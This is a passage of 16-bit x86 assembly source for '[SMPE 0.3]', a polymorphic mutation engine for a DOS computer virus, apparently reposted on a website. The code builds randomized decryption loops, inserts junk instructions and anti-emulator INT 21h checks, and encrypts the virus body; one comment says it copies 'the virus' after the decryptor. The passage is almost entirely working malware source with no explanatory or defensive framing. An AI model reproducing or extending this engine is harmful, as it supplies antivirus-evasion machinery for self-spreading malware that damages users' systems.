mov byte ptr ds:[random_value],al
stosb ; one random value
cmp byte ptr ds:[si],00h
je nowordi ; encrypting words?

call do_random

stosb
mov byte ptr ds:[random_value+1],al ; one more for word
cmp byte ptr ds:[si],01h
je nowordi

call do_random

stosw
mov word ptr ds:[random_value+2],ax ; two more for dword
nowordi:
mov cx,01
cmp byte ptr ds:[si],00h ; is word?
je noby

inc cl ; one more pnt inc for word

cmp byte ptr ds:[si],01h
je noby

inc cl ; two more incs for dword
inc cl

noby:
do_inc_pointer:
push cx
call do_garbage ; some foo instructions
pop cx

call do_random_dx_0f
ror al,1
jc normal_inc
;make with add/sub register

mov ax,0c083h ; add ax,
cmp byte ptr ds:[si+9],00h
je no_sub
add ah,28h ; change to sub
no_sub:
add ah,byte ptr ds:[si+5]
stosw
;and now how many sub/add

mov dx,03h
mov bx,cx
dec bx
call do_random
inc al
sub cl,al
jmp store_and_test

;make with inc/dec register
normal_inc:
dec cl
mov al,040h ; pointer increment
cmp byte ptr ds:[si+9],00h
je no_decrement
add al,08h ; dec base
no_decrement:
add al,byte ptr ds:[si+5]
store_and_test:
stosb

or cx,cx
jnz do_inc_pointer

call do_garbage

cmp byte ptr ds:[si+11h],01h
jne no_key_change

call do_random_dx_0f ; select change mode

mov cl,al

cmp al,06h
jae rollio

mov ax,0c081h

shr cl,01h
jc ok_ahis

inc al
inc al

ok_ahis:
or cl,cl
jz finish_ax

add ah,028h

shr cl,01h
or cl,cl
jz finish_ax

add ah,08h

finish_ax:
mov word ptr ds:[modify_key],ax
add ah,byte ptr ds:[nocx]
stosw
in al,40h
stosb
mov byte ptr ds:[modify_key+2],al
cmp byte ptr es:[di-3],083h
je no_secondrnd
in al,40h
stosb
mov byte ptr ds:[modify_key+3],al
no_secondrnd:
jmp garb_ex
rollio:
mov ax,0c0d1h
shr cl,01h
jnc storeit
add ah,08h
storeit:
mov word ptr ds:[modify_key],ax
add ah,byte ptr ds:[nocx]
stosw
jmp garb_ex

no_key_change:
cmp byte ptr ds:[si+1],02h ; rol/ror with changing CX
jne no_cl_change

in al,40h
ror al,1
mov al,041h ; inc cx
jc increment_cx
add al,08h ; 49h = dec cx
increment_cx:
mov byte ptr ds:[random_value+1],al ; put also in encryptor
stosb


garb_ex:
call do_garbage

no_cl_change:
mov al,048h ; dec counter
add al,byte ptr ds:[si+4]
stosb

call do_random_dx_0f ; CMP or no CMP?
cmp al,05h
jae direct_ncmp

push ax
call do_garbage
pop ax

cmp al,02h
ja no_compare

mov byte ptr ds:[si+3],01h

mov ah,083h ; base for ops
cmp al,00h
ja no_cmp
mov al,0f8h ; CMP counter,0
jmp comp_store
no_cmp:
cmp al,02h
je oring
mov al,0f0h ; XOR counter,0
jmp comp_store
oring:
mov al,0c8h ; OR counter,0
comp_store:
xchg ah,al
add ah,byte ptr ds:[si+4] ; store op
stosw

sub al,al ; CMP/XOR/OR counter,0
stosb
jmp direct_ncmp
no_compare:
cmp al,04h
je do_with_and
mov al,0bh ; OR counter,counter
jmp second_operand
do_with_and:
mov al,23h
second_operand:
stosb
mov al,0c0h ; AND counter,counter
mov cl,byte ptr ds:[si+4]
add al,cl
call instr_change
stosb
direct_ncmp:
call do_random_dx_0f
mov cl,al ; random in cl
mov ax,di
inc ax
sub ax,word ptr ds:[si-2] ; check lenght of the jump
not ax ; of the decryption loop
ror cl,1
jc must_be_long ; random short or long jmp
cmp ax,0ff83h
jae do_short_jump

must_be_long:
sub ax,03h ; for the jz forward

push ax

mov     ax,0374h                        ; JZ=JE away 

mov word ptr ds:[si+0fh],di ; save JZ away offset

cmp byte ptr ds:[si+3],00h
je ok_stojz
ror cl,1
jc ok_stojz
inc al ; put JBE
inc al
ok_stojz:
stosw

push di
call do_garbage ; do some garbage between
pop ax ; the exit jump and the jump
; to the decryption loop
mov cx,di
sub cx,ax

pop ax

cmp cx,7ah ; not too big
jbe ok_garbage

sub di,cx
jmp no_garb_here

ok_garbage:
sub ax,cx

push di
mov di,word ptr ds:[si+0fh]
add byte ptr es:[di+1],cl
pop di

no_garb_here:
push ax
mov al,0e9h ; JMP
stosb
pop ax
jmp end_bjump

do_short_jump:
cmp byte ptr es:[di-1],049h ; is a DEC CX ?
jne normal_short_jump
ror cl,1
jc normal_short_jump
dec di ; overwrite the dec cx
inc al ; jump bytes
mov ah,0e2h ; LOOP
jmp xchnstr

normal_short_jump:
mov ah,75h ; JNE=JNZ back
cmp byte ptr ds:[si+3],00h
je xchnstr
ror cl,1
jnc xchnstr
inc ah
inc ah
xchnstr:
xchg ah,al

end_bjump:
stosw

cmp word ptr ds:[si+0fh],00h ; made a JZ/JMP serie?
je no_garbage_ndd

push di
call do_garbage
pop ax

mov cx,di
sub cx,word ptr ds:[si+0fh] ; make JZ (or JBE) to point
; after some garbage instead
; of just after the JMP to
cmp cx,07bh ; the decryption loop
ja no_garbage_ndd

mov cx,di
sub cx,ax

push di
mov di,word ptr ds:[si+0fh]
add byte ptr es:[di+1],cl
pop di

no_garbage_ndd:
mov ax,01h
mov byte ptr ds:[si+0ch],al ; we can again change DS
dec ax
dec ax
mov word ptr ds:[si+4],ax ; we can now use all regs
mov byte ptr ds:[si+6],al
or byte ptr ds:[gnum],0fh ; a little more max garbage
; as anti-prefetch_probs in
; this last stage

call do_garbage ; put some more garbage

cmp byte ptr ds:[si+9],01h
jne no_more_needed

call do_garbage ; expecially if we encrypted
call do_garbage ; from end to begin - prefetch

no_more_needed:

; some garbage will be also encrypted

push di
call do_garbage ; do the encrypted garbage
pop ax

mov cx,di
sub cx,ax

mov ax,bp
sub ax,cx ; encrypt also some garabage

add word ptr ds:[si-8],cx ; add to encryption lenght

push si
mov si,word ptr ds:[pointer_di] ; calculate pointer on code
add ax,di
cmp byte ptr ds:[inverse],01h
jne lets_cont
add ax,word ptr ds:[enc_lenght]
sub ax,04
lets_cont:
mov word ptr es:[si],ax ; store pointer on code
pop si
sub ax,bp

;; Decryptor building end

mov cx,word ptr ds:[si-8]

push cx

cmp byte ptr ds:[si],00h ; convert lenght in words
je go_for_it

inc cx
shr cx,1
cmp byte ptr ds:[si],01h ; words?
je go_for_it

inc cx ; so dwords
shr cx,1

go_for_it:

mov si,word ptr ds:[counter_pos]
mov word ptr es:[si],cx ; store lenght

pop cx
mov dx,cx

pop bx

pop si
pop ds
pop cx

push bx

; Copy code and encrypt it
push di
rep movsb ; copy the virus after
pop di

; Pointer SI on data place isn't usable anymore after this line!

mov si,ax
push ax

no_regdd:
cmp byte ptr ds:[inverse],01h
jne no_decrement_ndd
mov byte ptr ds:[first_inc],4eh ; dec si
no_decrement_ndd:
cmp byte ptr ds:[isrolror],00h ; are we rol(r)ling?
je noro
mov byte ptr ds:[enc_loop],0d2h ; first byte for ror/rol
mov byte ptr ds:[random_value],90h ; no random value req

noro:
cmp byte ptr ds:[isword],00h ; word operations?
je pre_enc_loop_one

mov ax,dx
inc ax
shr ax,1

cmp byte ptr ds:[isword],01h
je using_words

inc ax ; dwords
shr ax,1

mov cl,066h
cmp byte ptr ds:[no_imm],01
je long_stuff
mov byte ptr ds:[full_enc_loop],cl
jmp using_words

long_stuff:
mov byte ptr ds:[enc_loop],cl
mov cl,90h
mov byte ptr ds:[enc_loop-1],cl

using_words:
mov dx,ax ; calculate lenght
cmp byte ptr ds:[no_imm],01h
jne no_regused
mov byte ptr ds:[enc_loop+2],04h
cmp byte ptr ds:[isword],02h
je come_here
mov byte ptr ds:[enc_loop],90h
jmp come_here
no_regused:
inc byte ptr ds:[enc_loop] ; put working opcode
come_here:
mov cl,46h
cmp byte ptr ds:[inverse],01h
jne ok_no_cl_ch
add cl,08h
ok_no_cl_ch:
mov byte ptr ds:[second_inc],cl ; put another inc

cmp byte ptr ds:[isword],01h
je pre_enc_loop_one

mov ch,cl
mov word ptr ds:[second_inc+1],cx ; put another incs for dwords

pre_enc_loop_one:



no_nopput:
db 066h
db 0b8h ; mov eax,
random_ax dd 00h ; immediate

db 0b1h ; mov cl,
cl_move db 00h ; immediate

push es ; DS to what we must encrypt
pop ds

jmp full_enc_loop ; cpus rules 4 prefetch


add_to_cx:
in ax,40h
and ax,0111111b ; add up to 63 bytes to
add cx,ax ; the lenght in CX
ret

poly_name db '[SMPE 0.3]'

set_386_prefix:
push ax
mov al,066h ; set 066h prefix
stosb
pop ax
ret

full_enc_loop:

prefix_386 db 90h ; may be 66h if 386 codes used

enc_loop:
; xor byte ptr ds:[si],immediate
db 080h
db 034h ; real poly encryption
random_value db 090h
db 90h ; random value2
db 90h
db 90h ; dword op random values

first_inc db 46h ; inc si
second_inc db 90h ; space for second inc si
incs_386 db 90h,90h ; space for other two incs

modify_key db 90h,90h,90h,90h ; space for key modification op

dec dx
jnz full_enc_loop

pop ax

cmp byte ptr cs:[inverse],00h ; from end?
je normali
inc ax ; adjust lenght
inc ax
mov di,ax
jmp after_it
normali:
mov di,si
after_it:

sub dx,dx ; ds:dx = generated code
mov cx,di ; cx=lenght

call add_to_cx

pop di ; starting off
pop bx

push ds
pop es

mov ah,49h
call simulate21 ; deallocate the mem for poly
; ES still on virus code,
; but now it isn't allocated
; any more
push cs
pop ds

ret


do_garbage:
db 0bbh ; max number of garbage instructions allowed
gnum db 0fh ; mov bx,000fh
db 00h

mov dx,bx
pung:
call do_random ; how much instructions
cmp al,00h
je pung ; no 0 instruction allowed!
mov cl,al
sub ch,ch ; CX = number of instructions to generate

do_the_random:
mov dx,07 ; used for the random gen
mov bx,dx
call do_random
cmp al,04h ; no SP allowed
je do_the_random
cmp al,byte ptr ds:[count_reg] ; don't change the counter
je do_the_random
cmp al,byte ptr ds:[point_reg] ; don't change the pointer
je do_the_random
cmp al,byte ptr ds:[nocx] ; no CX change if used
je do_the_random
xchg ah,al
mov byte ptr ds:[reg8bits],0 ; reset 8 bit marker
push si
call select_instruction ; generate the instuction
pop si
loop do_the_random ; with the selected reg.
ret

select_instruction:
push cx ; AH = destination register
push ax

mov si,offset instructions
redorndin:

mov bx,0ah ; 0Ah basic types of instructions
mov dx,0fh ; don't eliminate some
call do_random ; which instruction will we generate
cmp al,byte ptr ds:[last_done] ; try to change sometime
je redorndin
continue:
mov byte ptr ds:[last_done],al ; store type
add si,ax ; point to the instr. in the table
cmp al,1 ; which instruction
ja foo_label
jmp one_byte_instruction

foo_label:
cmp al,7
jb no_3b
jmp three_bytes_instruction
no_3b:
cmp al,2 ; which instruction
je outta_here
cmp al,4
jne foo_label_2
jmp not_nop
foo_label_2:
cmp al,5
jb outta_here
jmp rolling
outta_here:
mov al,byte ptr ds:[si]
jae finish_mate
push ax
calltheran:
call do_random_dx_0f
mov cl,al
cmp cl,7 ; is a compare?
jne end_cmp_check
mov byte ptr ds:[cmp_check],1 ; sign it.
end_cmp_check:
pop ax
call instr_change

finish_mate:
stosb ; instruction base oc
call do_random_dx_0f
mov cl,al
pop ax
mov al,0c0h ; op code for reg+instr
cmp ah,04
jae only16
push ax
call do_random_dx_0f ; reg16 or reg8
mov ch,al
pop ax
ror ch,1
jc only16
dec byte ptr es:[di-1] ; bytes opcode = word opcode-1
ror ch,1
jnc only16
add al,20h ; high 8 bits
jmp end_8_bts
only16:
cmp byte ptr es:[di-1],08bh ; only if moving
jne finishing_mate

cmp byte ptr ds:[ds_mody],00h
je end_8_bts
push ax
call do_random_dx_0f
cmp al,02h
pop ax
ja end_8_bts
add byte ptr es:[di-1],03h
mov ah,3 ; ds has eq second opcode as bx
jmp end_8_bts

finishing_mate:
push ax
call do_random_dx_0f
cmp al,06h
pop ax
jb end_8_bts
mov al,06h
stosb
mov byte ptr ds:[reg8bits],00h
jmp gen_mpos
end_8_bts:
add al,cl
mov cl,ah
call instr_change
stor_chkjmp:
stosb
cmp word ptr ds:[cmp_check],0001 ; encountered a cmp?
jne not_comparing ; but out of a jmp region?
call jumping_zone ; no, so do one
not_comparing:
pop cx
ret

one_byte_instruction:
pop ax
mov al,byte ptr ds:[si] ; dec/inc generation
add al,ah
stosb
mov cl,ah
call do_random_dx_0f
mov ah,cl
cmp al,07h ; INT 21h generation?
jb nocd21
call generate_int
jmp no_ah_disp
nocd21:
mov cl,06h
cmp al,cl
jb no_ah_disp
call do_antiemulator
no_ah_disp:
cmp byte ptr ds:[emu_trick],00h
je go_away_now

in al,40h
shr al,1
jc no_cd20
shr al,1
jc only_a_ret
mov ax,20cdh
jmp short stor_n_go
only_a_ret:
mov al,0c3h
stosb
jmp short exit_exit_put
no_cd20:
shr al,1
jc with_el
mov ax,4cb4h ; mov ah,4ch
jmp short sto21_n_go
with_el:
mov al,0b8h
stosb
in al,40h ; random retrun code
mov ah,4ch ; mov ax,4cxxh
sto21_n_go:
stosw
mov ax,21cdh ; int 21h
stor_n_go:
stosw
exit_exit_put:
mov byte ptr ds:[emu_trick],00h
go_away_now:
pop cx
ret

not_nop:
mov al,0f7h ; not/neg
stosb
call do_random_dx_0f
mov cl,al
pop ax
push cx
mov al,byte ptr ds:[si] ; basic opcode
add al,ah ; register dependant
shr cl,1
jc isneg
add al,08h ; change to not
isneg:
pop cx
cmp byte ptr ds:[push_nr],2 ; max pushes nested
ja nopush
cmp cl,2
ja nopush
jmp dopushpop ; do push
nopush:
stosb
pop cx
ret

rolling:
mov al,byte ptr ds:[si]
stosb ; rol/ror... base oc
mov al,0c0h
call do_random_dx_0f
mov cl,al
pop ax
cmp cl,06h
jne no_increment
inc cl
no_increment:
mov al,0c0h ; the base
call conv16to8 ; 8 or 16 bit instruction?
add al,ah
call instr_change
stosb ; write the reg/op dipendant byte
pop cx
ret

three_bytes_instruction:
cmp al,8 ;mov reg,immediate
je doalea
cmp al,9 ;mov reg,[imm]
je domemcp
cmp al,0ah
je do_real_lea
mov al,083h ; write the fixed first byte
stosb
reget:
call do_random_dx_0f ; select which 3 bytes to do
mov cl,al
cmp cl,7
jne end_cmp_imm_check
mov byte ptr ds:[cmp_check],1
jmp short end_cmp_imm_check

do_compare:
push cx
call do_random_dx_0f
cmp ah,04h
je do_compare
push ax
mov al,83h
stosb
mov cl,7
mov al,0c0h
jmp short jch_npt

end_cmp_imm_check:
mov al,byte ptr ds:[si]
jch_npt:
call instr_change ; generate instruction
mov bl,al
pop ax
mov al,bl
call conv16to8 ; 16 or 8 bit instruction?
add al,ah
stosb
mov bx,0ffh ; select the random immediate
mov dx,bx
call do_random
jmp stor_chkjmp ; check for cmp and store

doalea:
mov cl,0b8h
pop ax
cmp ah,4 ; may we create a 8 bit mov?
jae mov16breg ; yeah, so select randomly which
push ax
in al,40h
ror al,1
jnc dowith16b
mov byte ptr ds:[reg8bits],1
mov cl,0b0h ; mov reg8_low,imm
ror al,1
jnc dowith16b
add cl,4 ; high 8 bits
dowith16b:
pop ax
mov16breg:
mov al,cl
add al,ah
stosb ; mov reg,immediate
jmp gen_mpos

do_real_lea:
mov al,08dh ; store first lea byte
stosb
pop ax ; ah = used register
mov cl,ah
mov al,06h
call instr_change
stosb
jmp gen_mpos

domemcp:
in al,40h ; select segment
shr al,1
jnc no_seg_change ; nc? only DS:
shr al,1
jc change_to_cs ; c? put CS:
mov al,026h ; nc? put ES:
stosb
jmp no_seg_change
change_to_cs:
mov al,02eh ; CS:
stosb
no_seg_change:
mov al,08bh
stosb ; mov reg,seg:[imm]
pop ax
mov cl,ah

mov al,06h
call instr_change
stosb

gen_mpos:
mov bx,07fffh ;select immediate
mov dx,bx
call do_random
stosb
xchg al,ah
cmp byte ptr ds:[reg8bits],1
je no_2_imms ; was an 8 bit instruction?
stosb
no_2_imms:
pop cx
ret

do_random_dx_0f:
mov bx,07h
mov dx,bx
do_random:

push cx
xor cx,cx
inc cx
do_real_random:
in al,40h
mov ah,al
in al,40h
; ror al,1
xor al,ah

and ax,dx
cmp ax,bx
ja do_real_random

jcxz end_real_random

dec cx

cmp al,byte ptr ds:[last_random]
je do_real_random

end_real_random:
mov byte ptr ds:[last_random],al
pop cx
ret

last_random db 0ffh

instr_change:
cmp cl,00h ; generate new instruction
je finish_instr_change ; based on input register.
add al,08h
dec cl
jmp instr_change
finish_instr_change:
ret

conv16to8:
cmp ah,4
jae avante ; only from ax to dx
push ax
call do_random_dx_0f
mov ch,al
ror ch,1
pop ax
jnc avante ; do 8 or 16?
sub byte ptr es:[di-1],1
ror ch,1
jnc avante
add al,04 ; low 8 bits or high 8?
avante:
ret

int10_16:
cmp ch,0ch
ja no_get_cpos
mov ah,03h ; Get cursor position
jmp store_int_10
no_get_cpos:
cmp ch,0dh
ja no_int10
mov ah,0fh ; Get current video mode
jmp store_int_10
no_int10:
cmp ch,0eh
ja no_get_keystroke
mov ah,01h ; Get Keystroke
push ax
in al,40h
rol al,1
pop ax
jc store_int_16
inc ah ; Get shift states
jmp store_int_16
no_get_keystroke:
mov ah,09h ; Get KBD functionality
push ax
in al,40h
mov cl,al
rol cl,1
pop ax
jc store_int_16
inc ah ; get KBD id
rol cl,1
jc store_int_16
add ah,07h ; check for keystroke
store_int_16:
stosw
mov ax,16cdh ; int 16h
jmp sto_n_xit
store_int_10:
stosw
mov ax,10cdh ; int 10h
sto_n_xit:
jmp just_b4_end


generate_int:
doint:
dec di
mov bx,0fh
mov dx,bx
call do_random
mov ch,al ; rnd in ch
mov al,0b4h ; MOV ah,
mov bl,byte ptr ds:[nocx]
mov bh,byte ptr ds:[count_reg]
cmp bl,01h
je go_on_ah
cmp bl,02h
jbe go_on_ah
cmp bh,02h
jbe go_on_ah
cmp bl,03h
je lamah_jump
cmp bh,03h ; is BX as counter?
je lamah_jump
cmp byte ptr ds:[point_reg],03h ; is BX as pointer?
lamah_jump:
je intwithacd ; those with AX,CX,DX
cmp ch,1
jbe no_es_modify
cmp ch,0ch
jae int10_16
cmp ch,0bh
jae no_es_modify
cmp ch,4
jbe intwithacd
cmp ch,6
jbe go_on_ah
cmp ch,9
ja allocmem
cmp ch,7
je getpsp
mov ah,30h ; dos version
jmp storeandint
go_on_ah:
jmp onlyahint
no_es_modify:
cmp ch,0bh
je space_stuff
cmp ch,00h
je another_one
mov ah,51h ; get psp adress
jmp storeandint
space_stuff:
mov ah,36h ; get free disk space C:
stosw
mov ax,03b2h ; mov dl,03
jmp storeandint
another_one:
mov al,0b8h
stosb
mov ax,6601h ; get codepage
jmp storeandint
getpsp:
mov ah,62h ; get psp
jmp storeandint
intwithacd:
cmp ch,3
jae getbdrive
mov ah,06h ; ah=06h
stosw
mov al,0b2h ; mov dl
mov ah,0ffh ; ffh
jmp storeandint
allocmem:
mov ah,48h ; allocate mem
stosw
mov al,0bbh ; in bx max mem avaiable
stosb
sub ax,ax
dec ax ; bx=ffffh
jmp storeandint
getbdrive:
mov al,0b8h
stosb
mov ax,3305h
cmp ch,4
je storeandint
sub al,al
mov ah,058h
jmp storeandint
onlyahint:
mov bx,04h
mov dx,07h
push ax
call do_random
mov ch,al
pop ax
okah:
cmp ch,1
je getcdrive
cmp ch,2
je getveryfl
cmp ch,3
je get_mem_int_12
cmp ch,4
je get_equipment_list
mov ah,0bh ; get stdin status
jmp storeandint
get_mem_int_12:
mov ax,12cdh ; get avaiable memory
jmp just_b4_end
get_equipment_list:
mov ax,11cdh ; get bios equipment list
jmp just_b4_end
getveryfl:
mov ah,054h ; get verify flag
jmp storeandint
getcdrive:
mov ah,019h ; get default drive
storeandint:
stosw
mov ax,021cdh ; int 21h
just_b4_end:
stosw
look_4_int_jmp:
cmp byte ptr ds:[cmp_check],1
je icantint
in al,40h
rol al,1
jc icantint
mov byte ptr ds:[cmp_check],1
call do_compare
icantint:
ret

dopushpop:
dec di
inc byte ptr ds:[push_nr] ; increment the numba of pushes
push ax

mov bx,0ah
mov dx,0fh
call do_random

xchg al,ah

cmp ah,08h
jb no_segment_push
mov al,06h ; push es
cmp ah,08h
je add_n_store
add al,08h ; push cs
cmp ah,09h
je add_n_store
add al,10h ; push ds
jmp short add_n_store
no_segment_push:
mov al,50h ; push a reg
add al,ah
add_n_store:
stosb
call do_garbage

call do_random_dx_0f

cmp al,06h
pop ax
jb no_pop_segment

mov al,07h ; pop es
jmp try_pop_ds
try_pop_ds:
add al,18h ; pop ds
cmp byte ptr ds:[ds_mody],00h
jne store_pop
no_pop_segment:
mov al,58h ; pop with the selected one
add al,ah
store_pop:
stosb
pop cx
dec byte ptr ds:[push_nr] ; number of pushes curr. active
ret

jumping_zone:
mov byte ptr ds:[cmp_check2],1 ; lock jumping
mov bx,06h
mov dx,07h
call do_random
cmp al,06h
jne conditional_jump
jump_short_crea:
mov al,0ebh ; jmp short
jmp store_jump
conditional_jump:
add al,72h ; jmp base
store_jump:
stosb ; write jmp
retry_cond_jump:
push di
stosb ; where will jump
call do_garbage
mov ax,di
pop di
push ax
sub ax,di
dec ax
cmp ax,7fh
jbe ok_lenght_jump
pop ax
jmp retry_cond_jump
ok_lenght_jump:
stosb ; put the bytes to jump
pop di
mov byte ptr ds:[cmp_check],0 ; reset both checks
mov byte ptr ds:[cmp_check2],0
ret

ob_oc db 98h,0f8h,0cch,0f9h,0fch,0fdh,0f5h,0cch ; one byters

one_byters:
call do_random_dx_0f
sub ah,ah
mov bx,offset ob_oc
add bx,ax
mov al,byte ptr ds:[bx]
stosb
ret

do_antiemulator:
cmp byte ptr ds:[cmp_check2],01h
jne cont_antiemu
jmp end_antiemu

cont_antiemu:
mov cl,ah
call do_random_dx_0f
mov ah,cl

mov bl,byte ptr ds:[nocx]
mov bh,byte ptr ds:[count_reg]

cmp al,02h
je get_bdrive

cmp bl,01h
je cant_use

cmp bh,01h ; cx
jne canuse
cant_use:
jmp end_antiemu
canuse:
cmp al,01h
je get_dos_ver

cmp al,06h
jae set_wrong_time

cmp al,03h
je one_byters
jmp do_a_call

set_wrong_time:

cmp bl,02h ; can we use DX ?
jne end_antiemu

cmp al,06h
je withcl
mov ah,0b5h ; mov ch,
mov dl,19h
jmp short get_rnd_tset
withcl:
mov ah,0b1h ; mov cl,
mov dl,03dh
get_rnd_tset:
in al,40h
cmp al,dl
jb get_rnd_tset
xchg al,ah ; store the mov
stosw

mov byte ptr ds:[nocx],01h ; enable no cx change
call do_garbage
mov byte ptr ds:[nocx],0ffh ; enable cx changing
mov ax,2db4h ; mov ah,2dh
stosw
xor dl,dl ; test al
xor dh,dh ; compare with 0
mov cl,03h ; jne
jmp store_and_jump



get_dos_ver:
cmp bh,03h ; can we change bx
je end_antiemu

cmp bl,03h
je end_antiemu

cmp byte ptr ds:[point_reg],03h
je end_antiemu

mov ax,30b4h ; get dos version
stosw
mov cl,01h ; JAE
in al,40h
ror al,1
jc ok_this
add cl,04h ; JA
ok_this:
and al,011b ; 0 - 3
mov dh,al
xor dl,dl
mov cl,01h
jmp store_and_jump

get_bdrive:
cmp bh,02h ; is dx usable?
je end_antiemu

cmp bl,02h
je end_antiemu

mov al,0b8h ; mov ax,
stosb
mov ax,3305h ; get boot drive
stosw
mov dl,02h ; check DL
xor dh,dh ; compare with 00h
mov cl,03h ; JNE

store_and_jump:
mov ax,21cdh ; int 21h
stosw
mov al,82h ; cmp
stosb
mov al,0f8h ; cmp base
add al,dl ; dl contains register
mov ah,dh ; dh contains value
stosw
mov byte ptr ds:[emu_trick],01h
mov byte ptr ds:[cmp_check2],01h
mov al,cl ; cl contains type of jump
call conditional_jump
mov byte ptr ds:[emu_trick],00h
mov byte ptr ds:[cmp_check2],00h

end_antiemu:
ret

do_a_call:
push ax
mov al,0e8h ; make a CALL
stosb
push di
stosw
call do_garbage
pop si
mov cx,di
sub cx,si ; calculate offset
dec cx
dec cx
mov word ptr es:[si],cx ; here we will CALL
call do_garbage
inc byte ptr ds:[push_nr]
pop ax ; AH = usable register
push cx
jmp no_pop_segment ; pop the IP

instructions:

; the data below this line is of use by the poly to create some of the
; various possible operations on registers in the trash generation part

;ONE BYTE ONLY
inc_16 db 040h ; INC REG16
dec_16 db 048h ; DEC REG16
mov_rr16 db 08bh ; general first byte
; + 0 (03h) ADD
; + 8 (0bh) OR
; + 10 (13h) ADC
; + 18 (1bh) SBB
; + 20 (23h) AND
; + 28 (2bh) SUB
; + 30 (33h) XOR
; + 38 (3bh) CMP
math_rr16 db 03h ; basic opcode
not_neg db 0d0h
rot_1 db 0d1h ; ROL/ROR/SHL/SHR/RCR/RCL/SAR/SAL REG16,1
rot_cl db 0d3h ; ROL REG16,CL
; +0h (0c0h) ADD
; +8h (0c8h) OR
; +10h (0d0h) ADC
; +18h (0d8h) SBB
; +20h (0e0h) AND
; +28h (0e8h) SUB
; +30h (0f0h) XOR
; +38h (0f8h) CMP
add_r16i db 0c0h ; ADD REG16,IMMEDIATE 2 byte
lea_reg db 0b8h ; LEA REG16,something

smpe_encrypted_end:

; Poly data start - This will be only in memory!

poly_data_mem:

; must remain in this sequence (since we use SI + x to adress this in the
; main poly loop)

enc_lenght dw 00h
last_done db 00h
reg8bits db 00h

pointer_di dw 00h
secphs dw 00h

isword db 00h ; 00h = byte operation
; 01h = word operation
; 02h = dword operation
isrolror db 00h ; 00h = no ROR/ROL
; 01h = ROR/ROL with stable CL
; 02h = ROR/ROL with inc/dec CL
push_nr db 00h
can_doda db 00h

count_reg db 0ffh
point_reg db 0ffh
nocx db 0ffh
seg_sta db 0ffh

emu_trick db 00h
inverse db 00h
cmp_check db 00h
cmp_check2 db 00h

ds_mody db 00h ; 00 don't modify, 01 can modify

counter_pos dw 00h

jz_nr dw 00h

no_imm db 00h ; 00h use immediate when enc/dec
; 01h use register when enc/dec

; Poly data end

poly_data_mem_end:


← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT